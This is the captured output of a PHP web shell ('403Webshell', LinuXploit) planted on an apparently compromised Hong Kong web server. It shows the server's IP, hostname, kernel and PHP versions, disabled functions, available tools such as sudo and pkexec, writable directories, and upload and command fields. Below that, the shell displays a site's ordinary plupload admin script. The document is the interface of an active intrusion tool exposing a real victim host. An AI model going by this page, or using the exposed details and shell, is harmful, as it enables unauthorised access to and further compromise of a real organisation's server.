403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/b2b2c/webadmin/plupload/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/b2b2c/webadmin/plupload/plupload_init.php
<!-- plupload file -->

<!-- background size file for IE8-->
<script type="text/javascript" src="plupload/js/background_size_ie.js"></script>
<script type="text/javascript">
	$(function(){
		$(".uploaded_img").css({backgroundSize: "contain"});
	});

</script>

<script type="text/javascript" src="plupload/js/plupload.full.min.js"></script>
<script type="text/javascript" src="plupload/js/jquery.plupload.queue/jquery.plupload.queue.min.js"></script>
<link rel="stylesheet" href="plupload/js/jquery.plupload.queue/css/jquery.plupload.queue.css" type="text/css" />

<script type="text/javascript">

	// Initialize the widget when the DOM is ready
	$(function() {

		<?php foreach($pluploader as $uploader){ ?>

		// Setup html5 version
		var uploader_<?=$uploader["name"]?> = $("#uploader_<?=$uploader["name"]?>").pluploadQueue({
			// General settings
			runtimes : 'html5,flash,html4',
			url : 'plupload/upload_post.php',
			//chunk_size : '1mb',
			rename : false,
			dragdrop: false,
			multiple_queues: true,
			filters : {
				// Maximum file size
				max_file_size : '<?=$uploader["max_file_size_client"]?>',
				// Specify what files to browse for
				mime_types: [
					<?php if($uploader["upload_type"] == 1){ ?>
					{title : "Image files", extensions : "jpg,gif,png"}
					<?php } else if($uploader["upload_type"] == 2){ ?>
					{title : "PDF files", extensions : "pdf"}
					<?php } else if($uploader["upload_type"] == 3){ ?>
					{title : "Word/Excel/Powerpoint files", extensions : "doc,docx,xls,xlsx,ppt,pptx"}
					<?php } else if($uploader["upload_type"] == 4){ ?>
					{title : "Image files", extensions : "jpg,gif,png"},
					{title : "PDF files", extensions : "pdf"},
					{title : "Word/Excel/Powerpoint files", extensions : "doc,docx,xls,xlsx,ppt,pptx"}
					<?php } else {} ?>

				]
			},

			multipart_params: {
				uploader_id: '<?=$uploader["name"]?>',
				max_file_size_server: '<?=$uploader["max_file_size_server"]?>',
				upload_type: '<?=$uploader["upload_type"]?>'
			},

			// Flash settings
			flash_swf_url : 'plupload/js/Moxie.swf',

			// Silverlight settings
			silverlight_xap_url : '/plupload/js/Moxie.xap',

			init : {

				FileUploaded: function(up, file, response) {
					var count_file =$( "#uploaded_img_<?=$uploader["name"]?> .img_frame" ).length;

					var json = $.parseJSON(response.response);
					/*					console.log(response);
					 console.log(up);
					 console.log(file);*/

					if(json.success == "1"){

						$("#uploaded_img_<?=$uploader["name"]?>").show();

						$("#uploaded_img_<?=$uploader["name"]?>").append(function () {
							//console.log(json);
							var file_id = json.file_id;
							var file_path = '<?=$temp_file_location?>'+json.file_name;
							var file_extension = json.file_extension;
							var file_name = json.file_name;
							var file_title = json.file_title;


							var ajax_delete_img = "onclick=\"ajax_delete_img('" + file_id + "', '0'); return; \"";

							<?php if($uploader["upload_type"] == 1){ // 1="only jpg,png,gif" , 2="only pdf", 3="only doc, excel, ppt", 4="All";?>
							var img_background = "style=\"background: url('" + file_path + "') no-repeat center center\"";

								return "<div class='img_frame' id='"+file_id+"'>Image No."+(count_file+1)+"<div class='uploaded_img' " + img_background + "></div><br><div style='text-align: left;margin: 0 5px;'>Image Title:</div><input type='text' name='<?=$uploader["name"];?>["+(count_file+1)+"][file_title]' style='width: 150px;' value='" + file_title + "' /><input type='hidden' name='<?=$uploader["name"];?>["+(count_file+1)+"][file_id]' value='"+file_id+"' /><br><button type='button' " + ajax_delete_img + ">Delete</button></div>";
							<?php } else if($uploader["upload_type"] == 2){ ?>
							var img_background = "style=\"background: url('plupload/images/pdf.png') no-repeat center center\"";

								return "<div class='img_frame' id='"+file_id+"'>PDF No."+(count_file+1)+"<div class='uploaded_img' " + img_background + "></div><br><div style='text-align: left;margin: 0 5px;'>PDF Title:</div><input type='text' name='<?=$uploader["name"];?>["+(count_file+1)+"][file_title]' style='width: 150px;' value='" + file_title + "' /><input type='hidden' name='<?=$uploader["name"];?>["+(count_file+1)+"][file_id]' value='"+file_id+"' /><br><button type='button' " + ajax_delete_img + ">Delete</button></div>";
							<?php } else if($uploader["upload_type"] == 3){ ?>
							if(file_extension == "doc" || file_extension == "docx"){
								var img_background = "style=\"background: url('plupload/images/doc.png') no-repeat center center\"";
							}

							if(file_extension == "xls" || file_extension == "xlsx"){
								var img_background = "style=\"background: url('plupload/images/xls.png') no-repeat center center\"";
							}

							if(file_extension == "ppt" || file_extension == "pptx"){
								var img_background = "style=\"background: url('plupload/images/ppt.png') no-repeat center center\"";
							}

								return "<div class='img_frame' id='"+file_id+"'>File No."+(count_file+1)+"<div class='uploaded_img' " + img_background + "></div><br><div style='text-align: left;margin: 0 5px;'>File Title:</div><input type='text' name='<?=$uploader["name"];?>["+(count_file+1)+"][file_title]' style='width: 150px;' value='" + file_title + "' /><input type='hidden' name='<?=$uploader["name"];?>["+(count_file+1)+"][file_id]' value='"+file_id+"' /><br><button type='button' " + ajax_delete_img + ">Delete</button></div>";

							<?php } else if($uploader["upload_type"] == 4){ ?>
							if(file_extension == "jpg" || file_extension == "jpeg" || file_extension == "png" || file_extension == "gif"){
								var img_background = "style=\"background: url('" + file_path + "') no-repeat center center\"";
							}

							if(file_extension == "pdf" ){
								var img_background = "style=\"background: url('plupload/images/pdf.png') no-repeat center center\"";
							}

							if(file_extension == "doc" || file_extension == "docx"){
								var img_background = "style=\"background: url('plupload/images/doc.png') no-repeat center center\"";
							}

							if(file_extension == "xls" || file_extension == "xlsx"){
								var img_background = "style=\"background: url('plupload/images/xls.png') no-repeat center center\"";
							}

							if(file_extension == "ppt" || file_extension == "pptx"){
								var img_background = "style=\"background: url('plupload/images/ppt.png') no-repeat center center\"";
							}

								return "<div class='img_frame' id='"+file_id+"'>File No."+(count_file+1)+"<div class='uploaded_img' " + img_background + "></div><br><div style='text-align: left;margin: 0 5px;'>File Title:</div><input type='text' name='<?=$uploader["name"];?>["+(count_file+1)+"][file_title]' style='width: 150px;' value='" + file_title + "' /><input type='hidden' name='<?=$uploader["name"];?>["+(count_file+1)+"][file_id]' value='"+file_id+"' /><br><button type='button' " + ajax_delete_img + ">Delete</button></div>";
							<?php } else {} ?>


						});


						$(".uploaded_img").css({backgroundSize: "contain"});
					}else{
						alert(json.error);

						//remove the invalid file
						up.removeFile(file);

					}


				},
				FilesAdded: function(up, file) {
					if (up.files.length > <?=$uploader["max_file_num"];?>){
						alert('You are allowed to upload only <?=$uploader["max_file_num"];?> files.');
						up.splice(<?=$uploader["max_file_num"];?>, (up.files.length-<?=$uploader["max_file_num"];?>));
					}

				},
				Error: function(up, args) {
					// Called when error occurs
					//log('[Error] ', args);
				}


			}
		});



		function log() {
			var str = "";

			plupload.each(arguments, function(arg) {
				var row = "";

				if (typeof(arg) != "string") {
					plupload.each(arg, function(value, key) {
						// Convert items in File objects to human readable form
						if (arg instanceof plupload.File) {
							// Convert status to human readable
							switch (value) {
								case plupload.QUEUED:
									value = 'QUEUED';
									break;

								case plupload.UPLOADING:
									value = 'UPLOADING';
									break;

								case plupload.FAILED:
									value = 'FAILED';
									break;

								case plupload.DONE:
									value = 'DONE';
									break;
							}
						}

						if (typeof(value) != "function") {
							row += (row ? ', ' : '') + key + '=' + value;
						}
					});

					str += row + " ";
				} else {
					str += arg + " ";
				}
			});

			var log = $('#log_<?=$uploader["name"]?>');
			log.append(str + "\n");
			log.scrollTop(log[0].scrollHeight);
		}

		<?php } ?>
	});
</script>



<!-- override plupload css -->
<style type="text/css">
	.plupload_header{
		display: none !important;
	}

	.plupload_view_thumbs .plupload_content{
		top: 0px !important;
	}

	.plupload_container{
		/*min-height: 200px !important;*/
	}

	.plupload_content{
		top: 29px !important;
		overflow-x: hidden;
	}

	.plupload_wrapper{
		width: 600px !important;
	}

</style>





<script type="text/javascript">
	function ajax_delete_img(file_id,clean_temp)
	{

		if(confirm("Are you sure to delete it?"))
		{
			var xmlhttp;

			if (window.XMLHttpRequest)
			{// code for IE7+, Firefox, Chrome, Opera, Safari
				xmlhttp=new XMLHttpRequest();
			}
			else
			{// code for IE6, IE5
				xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
			}
			xmlhttp.onreadystatechange=function()
			{
				if (xmlhttp.readyState==4 && xmlhttp.status==200)
				{
					//document.getElementById("txtHint").innerHTML=xmlhttp.responseText;
					//console.log(xmlhttp.responseText);
					var result = $.trim( xmlhttp.responseText);

					if(result == "success"){
						if(file_id >= 0){
							$("#"+file_id).empty();
							$("#"+file_id).hide();
						}else{
							alert("Deleted Temp File: Success.");
						}

					}else{
						alert("Deleted File: Fail.");
					}


				}
			}
			xmlhttp.open("POST","plupload/ajax_delete_image.php",true);
			xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
			xmlhttp.send("clean_temp="+clean_temp+"&file_id="+file_id);

		}

	}




	function check_form(){
		$("#addform").submit();
		$("#auto_click").fancybox().trigger('click');
		/*var message = "";
		var has_file = 0;
		$("input[name='<?//=$uploader["name"];?>[][file_title]']").each(function (i) {
			has_file = 1;
			if(!$(this).val()){
				message += "Image No."+(i+1)+" miss image title! \n\n";
			}

		});

		if(has_file == 0){
			message += "You should at least upload one file! \n\n";
		}

		if(message != ""){
			alert(message);
		}else{
			$("#addform").submit();
			$("#auto_click").fancybox().trigger('click');

		}*/
	}


</script>


<!-- css for displaying uploaded file -->
<style type="text/css">

	<?php foreach($pluploader as $uploader){ ?>
	#uploaded_img_<?=$uploader["name"]?>{
		display: none;
		font-weight: bold;
	}
	<?php } ?>

	.uploaded_img{
		width: 150px;
		height: 150px;
		margin: 5px;
	}

	.img_frame{
		text-align: center;
		float: left;
		margin-right:10px;
		margin-bottom: 10px;
		width: 160px;
		height: 255px;
		border: 1px solid #b3b3b3;
	}

</style>


<!-- Add fancyBox -->
<link rel="stylesheet" href="plupload/js/fancybox_2.0/source/jquery.fancybox.css?v=2.1.5" type="text/css" media="screen" />
<script type="text/javascript" src="plupload/js/fancybox_2.0/source/jquery.fancybox.pack.js?v=2.1.5"></script>

<script>
	$(document).ready(function() {
		$(".various").fancybox({
			fitToView	: false,
			autoSize	: true,
			closeClick	: false,
			openEffect	: 'none',
			closeEffect	: 'none',
			closeBtn : true
		});
	});


</script>


<div style="display: none;">
	<a class="various" href="#popup" id="auto_click">pop up</a>
</div>

<div id="popup" style="width: 500px; display: none;padding: 5px;">
	<img src="plupload/js/fancybox_2.0/source/loading.gif" style="width: 100%;">
</div>


Youez - 2016 - github.com/yon3zu
LinuXploit